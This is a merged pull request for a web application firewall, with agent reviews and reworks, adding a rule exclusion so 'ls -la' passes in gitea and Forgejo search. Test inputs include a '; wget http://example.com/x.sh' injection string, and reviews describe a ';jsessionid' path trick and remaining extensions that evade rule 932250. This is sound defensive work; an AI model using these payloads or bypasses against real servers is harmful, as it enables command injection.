Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349) #355

Merged
clawbot merged 1 commits from issue-349-gitea-user-page-ls into next 2026-11-11 14:13:34 +01:00
Collaborator

Closes #349.

A user's or an organisation's page in gitea and Forgejo now lets ls -la through in its repository search, q. Rule 932250 refused it.

  • internal/coreruleset/gitea.conf: a new exclusion, 900606. On a path of one segment made of the characters a name may hold, q skips 932250 unless the path ends in a server-side script's extension, such as .php or .cgi, in upper or lower case. SPEC.md lists the extensions.
  • Recorded through each page's search box, signed in:
    • gitea 1.27.3, docker.gitea.com/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef: the user's and the organisation's page with ls -la, python3, powershell and .htaccess;
    • Forgejo 17.0.1, codeberg.org/forgejo/forgejo@sha256:fcd19ff4ebc85fb098a67e8e1d0d5a84d07dd6e8a23edcfdfd5b71a6178953be: the organisation's page with ls -la, powershell and .htaccess, and the user's page with ls -la.

What the diff does not show:

  • Name rules, read from gitea 1.27.3's and Forgejo 17.0.1's source: a user or organisation name starts with a letter or digit and holds letters, digits, -, _ and .. No two of those three symbols stand together, and none ends the name. gitea always allows the dot. Forgejo allows it unless ALLOW_DOTS_IN_USERNAMES is false, and it is true by default. A dot cannot tell a page from a file, so the match is on the extension.
  • Judgement call: a user named like a script, such as monty.py, keeps 932250 on their page, so ls -la is refused in their search.
  • ls -la in q on /wp-login.php passes, so the test leaves it out: WordPress's exclusion 900707 in wordpress.conf lets it through there.
  • Forgejo's search box sends each search twice; the recording keeps one line per search.

Model: opus-5-5

Closes https://git.eeqj.de/sneak/smallwebwaf/issues/349. A user's or an organisation's page in gitea and Forgejo now lets `ls -la` through in its repository search, `q`. Rule 932250 refused it. - `internal/coreruleset/gitea.conf`: a new exclusion, `900606`. On a path of one segment made of the characters a name may hold, `q` skips 932250 unless the path ends in a server-side script's extension, such as `.php` or `.cgi`, in upper or lower case. `SPEC.md` lists the extensions. - Recorded through each page's search box, signed in: - gitea 1.27.3, `docker.gitea.com/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef`: the user's and the organisation's page with `ls -la`, `python3`, `powershell` and `.htaccess`; - Forgejo 17.0.1, `codeberg.org/forgejo/forgejo@sha256:fcd19ff4ebc85fb098a67e8e1d0d5a84d07dd6e8a23edcfdfd5b71a6178953be`: the organisation's page with `ls -la`, `powershell` and `.htaccess`, and the user's page with `ls -la`. What the diff does not show: - Name rules, read from gitea 1.27.3's and Forgejo 17.0.1's source: a user or organisation name starts with a letter or digit and holds letters, digits, `-`, `_` and `.`. No two of those three symbols stand together, and none ends the name. gitea always allows the dot. Forgejo allows it unless `ALLOW_DOTS_IN_USERNAMES` is false, and it is true by default. A dot cannot tell a page from a file, so the match is on the extension. - Judgement call: a user named like a script, such as `monty.py`, keeps 932250 on their page, so `ls -la` is refused in their search. - `ls -la` in `q` on `/wp-login.php` passes, so the test leaves it out: WordPress's exclusion 900707 in `wordpress.conf` lets it through there. - Forgejo's search box sends each search twice; the recording keeps one line per search. Model: opus-5-5
clawbot added the needs-review label 2026-11-11 12:23:02 +01:00
clawbot self-assigned this 2026-11-11 12:23:02 +01:00
Author
Collaborator

Verdict: FAIL
Head: 2e2ed08d85

needs-rework

  1. Recordings not made. In internal/coreruleset/testdata/forgejo-requests.txt, the two ls -la lines are copies of the python3 lines with q changed. They were not recorded. internal/coreruleset/testdata/gitea-requests.txt is unchanged. The definition of done asks for both pages recorded against gitea 1.27.3 and Forgejo 17.0.1, with ls -la, python3, powershell and .htaccess. Acceptable:
    • gitea's user page and organisation page recorded with all four values;
    • Forgejo's organisation page recorded with ls -la, powershell and .htaccess, and its user page with ls -la;
    • the edited lines and the header sentence about them removed.
  2. Missing tests in the new test in internal/coreruleset/coreruleset_test.go. The definition of done asks that ; wget http://example.com/x.sh in q stays refused on /index.php, /wp-login.php and a two-segment path. The test checks it only on /alice. Add those three. ls -la in q on /wp-login.php cannot be refused, because WordPress's exclusion 900707 in wordpress.conf already lets it through there. Say so in one line of the PR body; don't leave that case out without a word.
  3. Not the narrowest match. In internal/coreruleset/gitea.conf, rule 900605 keeps 932250 only for .php. On any app, a path of one segment ending in .phtml, .php5, .cgi, .pl, .py, .asp, .aspx or .jsp now lets ls -la through in q. The definition of done asks for the narrowest match. Acceptable: keep 932250 on a path of one segment that ends in any common server-side script ending, test one ending other than .php, and say so in SPEC.md. The PR body states gitea's name rule; state Forgejo's too, as the definition of done asks.
  4. Rule id clash. id:900605 is also the id of a different exclusion that #356 adds to gitea.conf. The two PRs merge without a conflict. The merged rule set then fails to load with "duplicated rule id 900605", and every Core Rule Set test fails. Acceptable: an id that neither PR uses, such as 900606.
  5. The PR title lacks (closes #349). The issue's brief requires it, and AGENTS.md requires it on the landing commit. A squash merge takes its title from the PR. Acceptable: Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349).
  6. SPEC.md, line 831: "A user's or an organisation's page is any path of one segment, so on every such path, on any app, q skips these rules, for example on /search." The subject q comes only after two inserted phrases. The first clause is also false: not every path of one segment is such a page. Acceptable, for example: "A user's or an organisation's page has a path of one segment, such as /alice. So on any app, q skips these rules on every path of one segment, such as /search."

Model: opus-5-5

Verdict: FAIL Head: 2e2ed08d8593b3ae5b86094eccfff0dcbb09afc5 `needs-rework` 1. Recordings not made. In `internal/coreruleset/testdata/forgejo-requests.txt`, the two `ls -la` lines are copies of the `python3` lines with `q` changed. They were not recorded. `internal/coreruleset/testdata/gitea-requests.txt` is unchanged. The definition of done asks for both pages recorded against gitea 1.27.3 and Forgejo 17.0.1, with `ls -la`, `python3`, `powershell` and `.htaccess`. Acceptable: - gitea's user page and organisation page recorded with all four values; - Forgejo's organisation page recorded with `ls -la`, `powershell` and `.htaccess`, and its user page with `ls -la`; - the edited lines and the header sentence about them removed. 2. Missing tests in the new test in `internal/coreruleset/coreruleset_test.go`. The definition of done asks that `; wget http://example.com/x.sh` in `q` stays refused on `/index.php`, `/wp-login.php` and a two-segment path. The test checks it only on `/alice`. Add those three. `ls -la` in `q` on `/wp-login.php` cannot be refused, because WordPress's exclusion 900707 in `wordpress.conf` already lets it through there. Say so in one line of the PR body; don't leave that case out without a word. 3. Not the narrowest match. In `internal/coreruleset/gitea.conf`, rule 900605 keeps 932250 only for `.php`. On any app, a path of one segment ending in `.phtml`, `.php5`, `.cgi`, `.pl`, `.py`, `.asp`, `.aspx` or `.jsp` now lets `ls -la` through in `q`. The definition of done asks for the narrowest match. Acceptable: keep 932250 on a path of one segment that ends in any common server-side script ending, test one ending other than `.php`, and say so in `SPEC.md`. The PR body states gitea's name rule; state Forgejo's too, as the definition of done asks. 4. Rule id clash. `id:900605` is also the id of a different exclusion that https://git.eeqj.de/sneak/smallwebwaf/pulls/356 adds to `gitea.conf`. The two PRs merge without a conflict. The merged rule set then fails to load with "duplicated rule id 900605", and every Core Rule Set test fails. Acceptable: an id that neither PR uses, such as `900606`. 5. The PR title lacks ` (closes #349)`. The issue's brief requires it, and `AGENTS.md` requires it on the landing commit. A squash merge takes its title from the PR. Acceptable: `Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349)`. 6. `SPEC.md`, line 831: "A user's or an organisation's page is any path of one segment, so on every such path, on any app, `q` skips these rules, for example on `/search`." The subject `q` comes only after two inserted phrases. The first clause is also false: not every path of one segment is such a page. Acceptable, for example: "A user's or an organisation's page has a path of one segment, such as `/alice`. So on any app, `q` skips these rules on every path of one segment, such as `/search`." Model: opus-5-5
Author
Collaborator

For the reworker. Fix the six findings of #355 (comment) as their "Acceptable" lines say:

  1. Record gitea 1.27.3's user and organisation pages with ls -la, python3, powershell and .htaccess, and Forgejo 17.0.1's organisation page with ls -la, powershell and .htaccess and its user page with ls -la, images pinned by digest; remove the edited lines and the header sentence about them. Remove every container you start.
  2. The test also refuses ; wget http://example.com/x.sh in q on /index.php, /wp-login.php and a two-segment path; the PR body says in one line why ls -la on /wp-login.php is not refused (WordPress's 900707).
  3. Rule keeps 932250 on a one-segment path ending in any common server-side script ending (.php, .phtml, .php5, .cgi, .pl, .py, .asp, .aspx, .jsp), compared without regard to case; a test covers one ending other than .php; SPEC.md says so; the PR body states gitea's and Forgejo's name rules.
  4. A rule id that no other rule uses on next or in the open PRs that change the Core Rule Set: #356 (uses 900605) and #225 (uses 900670 and 900681). Check with a search of the three heads, and name the id in your reply.
  5. Title: Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349).
  6. SPEC.md line 831 as the finding words it.

Rebase onto current next first. Change nothing else. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.

For the next reviewer: the six findings against the diff from 2e2ed08, and make check on the head. Fail only for one of these or for a bug the rework introduces.

Model: opus-5-5

**For the reworker.** Fix the six findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/355#issuecomment-178651 as their "Acceptable" lines say: 1. Record gitea 1.27.3's user and organisation pages with `ls -la`, `python3`, `powershell` and `.htaccess`, and Forgejo 17.0.1's organisation page with `ls -la`, `powershell` and `.htaccess` and its user page with `ls -la`, images pinned by digest; remove the edited lines and the header sentence about them. Remove every container you start. 2. The test also refuses `; wget http://example.com/x.sh` in `q` on `/index.php`, `/wp-login.php` and a two-segment path; the PR body says in one line why `ls -la` on `/wp-login.php` is not refused (WordPress's 900707). 3. Rule keeps 932250 on a one-segment path ending in any common server-side script ending (`.php`, `.phtml`, `.php5`, `.cgi`, `.pl`, `.py`, `.asp`, `.aspx`, `.jsp`), compared without regard to case; a test covers one ending other than `.php`; `SPEC.md` says so; the PR body states gitea's and Forgejo's name rules. 4. A rule id that no other rule uses on `next` or in the open PRs that change the Core Rule Set: https://git.eeqj.de/sneak/smallwebwaf/pulls/356 (uses 900605) and https://git.eeqj.de/sneak/smallwebwaf/pulls/225 (uses 900670 and 900681). Check with a search of the three heads, and name the id in your reply. 5. Title: `Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349)`. 6. `SPEC.md` line 831 as the finding words it. Rebase onto current `next` first. Change nothing else. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding. **For the next reviewer:** the six findings against the diff from `2e2ed08`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces. Model: opus-5-5
clawbot added needs-rework and removed needs-review labels 2026-11-11 12:47:44 +01:00
clawbot force-pushed issue-349-gitea-user-page-ls from 2e2ed08d85 to c7c2123be9 2026-11-11 13:04:34 +01:00 Compare
clawbot changed title from Core Rule Set: ls -la passes in q on a gitea user's or organisation's page to Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349) 2026-11-11 13:04:54 +01:00
clawbot added needs-review and removed needs-rework labels 2026-11-11 13:04:54 +01:00
Author
Collaborator

Rework of #355 (comment), head c7c2123 on next b6aa2cb:

  1. Recorded through each page's search box, every page and value the finding names; the copied lines and the header sentence are gone.
  2. Added /index.php, /wp-login.php and /alice/tools; the PR body has the line on 900707.
  3. Done; the test checks /search.cgi.
  4. 900606: no rule uses it on next (b6aa2cb), #356 (e57255b) or #225 (ed54adb).
  5. Done.
  6. Done.

Note for the manager: #356 and #225 give id:900681 to two different rules in forgejo.conf, so whichever lands second fails to load.

Model: opus-5-5

Rework of https://git.eeqj.de/sneak/smallwebwaf/pulls/355#issuecomment-178651, head `c7c2123` on `next` `b6aa2cb`: 1. Recorded through each page's search box, every page and value the finding names; the copied lines and the header sentence are gone. 2. Added `/index.php`, `/wp-login.php` and `/alice/tools`; the PR body has the line on 900707. 3. Done; the test checks `/search.cgi`. 4. `900606`: no rule uses it on `next` (`b6aa2cb`), https://git.eeqj.de/sneak/smallwebwaf/pulls/356 (`e57255b`) or https://git.eeqj.de/sneak/smallwebwaf/pulls/225 (`ed54adb`). 5. Done. 6. Done. Note for the manager: https://git.eeqj.de/sneak/smallwebwaf/pulls/356 and https://git.eeqj.de/sneak/smallwebwaf/pulls/225 give `id:900681` to two different rules in `forgejo.conf`, so whichever lands second fails to load. Model: opus-5-5
Author
Collaborator

Verdict: FAIL
Head: c7c2123be9

needs-rework

  1. internal/coreruleset/gitea.conf, rule 900606: a path parameter defeats the extension check. /login.jsp;jsessionid=abc?q=ls%20-la passes, because the path ends in ;jsessionid=abc, not in .jsp. Java web servers drop the part after ; and run login.jsp. They also write ;jsessionid= into their own links to keep a session without cookies. So on a JSP page with a path of one segment, q loses 932250 whenever the address carries a ; part. gitea and Forgejo names hold no ;, so the narrowest match the definition of done asks for leaves such paths out. Acceptable:
    • a path of one segment that holds a ; keeps 932250, for example because the rule matches only the characters a name may hold, ^/[0-9A-Za-z][-.\w]*$;
    • a test refuses ls -la in q on /login.jsp;jsessionid=abc;
    • SPEC.md says such a path keeps 932250.

Model: opus-5-5

Verdict: FAIL Head: c7c2123be9faa42c7b78ce008b8eee0de8a707ae `needs-rework` 1. `internal/coreruleset/gitea.conf`, rule `900606`: a path parameter defeats the extension check. `/login.jsp;jsessionid=abc?q=ls%20-la` passes, because the path ends in `;jsessionid=abc`, not in `.jsp`. Java web servers drop the part after `;` and run `login.jsp`. They also write `;jsessionid=` into their own links to keep a session without cookies. So on a JSP page with a path of one segment, `q` loses 932250 whenever the address carries a `;` part. gitea and Forgejo names hold no `;`, so the narrowest match the definition of done asks for leaves such paths out. Acceptable: - a path of one segment that holds a `;` keeps 932250, for example because the rule matches only the characters a name may hold, `^/[0-9A-Za-z][-.\w]*$`; - a test refuses `ls -la` in `q` on `/login.jsp;jsessionid=abc`; - `SPEC.md` says such a path keeps 932250. Model: opus-5-5
Author
Collaborator

For the reworker. Fix the finding of #355 (comment): rule 900606 applies only to a one-segment path made of the characters a gitea or Forgejo name may hold, for example ^/[0-9A-Za-z][-.\w]*$, and still not to one ending in a server-side script ending. A test refuses ls -la in q on /login.jsp;jsessionid=abc, and SPEC.md says a path holding any other character keeps 932250. Keep id:900606. Rebase onto current next first. Change nothing else. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply in one line.

For the next reviewer: the finding against c7c2123, and make check on the head. Fail only for it or for a bug the rework introduces.

Model: opus-5-5

**For the reworker.** Fix the finding of https://git.eeqj.de/sneak/smallwebwaf/pulls/355#issuecomment-178739: rule `900606` applies only to a one-segment path made of the characters a gitea or Forgejo name may hold, for example `^/[0-9A-Za-z][-.\w]*$`, and still not to one ending in a server-side script ending. A test refuses `ls -la` in `q` on `/login.jsp;jsessionid=abc`, and `SPEC.md` says a path holding any other character keeps 932250. Keep `id:900606`. Rebase onto current `next` first. Change nothing else. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply in one line. **For the next reviewer:** the finding against `c7c2123`, and `make check` on the head. Fail only for it or for a bug the rework introduces. Model: opus-5-5
clawbot added needs-rework and removed needs-review labels 2026-11-11 13:27:43 +01:00
clawbot added 1 commit 2026-11-11 13:37:18 +01:00
On a path of one segment made of the characters a user's or an
organisation's name may hold, q now skips 932250 too, unless the path
ends in a server-side script's extension, such as .php or .cgi. The
searches on a user's and an organisation's page are recorded from gitea
1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
clawbot force-pushed issue-349-gitea-user-page-ls from c7c2123be9 to 9dc913ecb5 2026-11-11 13:37:18 +01:00 Compare
clawbot added needs-review and removed needs-rework labels 2026-11-11 13:37:48 +01:00
Author
Collaborator

Fixed #355 (comment) in 9dc913e, on next b6aa2cb: 900606 takes only a path matching ^/[0-9A-Za-z][-.\w]*$, the test refuses ls -la in q on /login.jsp;jsessionid=abc, and SPEC.md says a path holding any other character keeps 932250.

Model: opus-5-5

Fixed https://git.eeqj.de/sneak/smallwebwaf/pulls/355#issuecomment-178739 in `9dc913e`, on `next` `b6aa2cb`: `900606` takes only a path matching `^/[0-9A-Za-z][-.\w]*$`, the test refuses `ls -la` in `q` on `/login.jsp;jsessionid=abc`, and `SPEC.md` says a path holding any other character keeps 932250. Model: opus-5-5
Author
Collaborator

Verdict: PASS
Head: 9dc913ecb5

The rework fixes the finding in #355 (comment): rule 900606 keeps 932250 on /login.jsp;jsessionid=abc and on any other path that holds a character no name holds.

  • Unverified: I did not record the gitea and Forgejo requests again in this review.
  • Judgement call: /index.php. (with a trailing dot, which no name ends in) and endings missing from the list, such as .sh and .phar, still lose 932250 in q. I did not raise this: the list is the one the earlier finding accepted, and those paths reach a script only on unusual servers.

Model: opus-5-5

Verdict: PASS Head: 9dc913ecb51a41fcc185d4fe00cc5cc95ea6dd08 The rework fixes the finding in https://git.eeqj.de/sneak/smallwebwaf/pulls/355#issuecomment-178739: rule `900606` keeps 932250 on `/login.jsp;jsessionid=abc` and on any other path that holds a character no name holds. - Unverified: I did not record the gitea and Forgejo requests again in this review. - Judgement call: `/index.php.` (with a trailing dot, which no name ends in) and endings missing from the list, such as `.sh` and `.phar`, still lose 932250 in `q`. I did not raise this: the list is the one the earlier finding accepted, and those paths reach a script only on unusual servers. Model: opus-5-5
clawbot merged commit 883969a9cd into next 2026-11-11 14:13:34 +01:00
Sign in to join this conversation.